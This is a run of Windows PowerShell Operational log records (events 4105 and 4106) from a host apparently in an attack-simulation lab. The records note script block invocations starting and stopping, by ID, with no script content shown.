OpCode=On create calls
RecordNumber=2045654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045647
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045641
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045619
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045617
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045616
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
